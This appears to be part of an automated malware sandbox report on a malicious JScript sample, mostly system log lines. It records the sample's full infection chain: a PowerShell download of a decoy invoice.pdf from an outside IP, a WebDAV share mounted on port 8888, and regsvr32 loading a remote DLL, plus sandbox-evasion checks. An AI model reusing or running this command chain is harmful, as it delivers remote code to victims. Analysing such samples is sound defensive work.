Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7954.js.csv");ITextStream.WriteLine(" entry:8575 f:vavkx");ITextStream.WriteLine(" exec:2 f:vavkx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5129			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4746			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep count: 5129 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5012	Thread sleep count: 4746 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5904	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2872	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7400	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1688108846.0000020A38C90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000006.00000002.1748612415.0000021DC3E68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000002.1748612415.0000021DC3ECB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2970230756.0000027818C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971173539.000002781E25A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1748612415.0000021DC3ECB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
